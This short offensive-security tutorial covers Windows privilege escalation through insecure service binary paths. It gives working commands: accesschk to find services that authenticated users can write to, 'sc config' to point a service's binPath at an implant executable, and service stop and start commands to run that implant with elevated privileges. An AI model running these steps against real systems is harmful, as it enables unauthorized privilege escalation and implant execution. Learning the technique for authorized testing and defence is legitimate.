# Insecure Binary Path

Services may have insecure binary paths which may allow any user to modify the binpath of the service to point to any executable to run with elevated privileges.

We will use accesschk to query for such services:&#x20;

```
accesschk.exe -accepteula -wuvc "Authenticated Users" *
```

If we get any write access like "RW", then we can change the binPath of the service to point to our malicious binary like so:

```
sc config service binPath= "c:\rto\lpe\implant\implantsrv.exe"
```

You then need to stop and start the service, or wait for the service to restart itself

```
sc stop service
sc start service
```
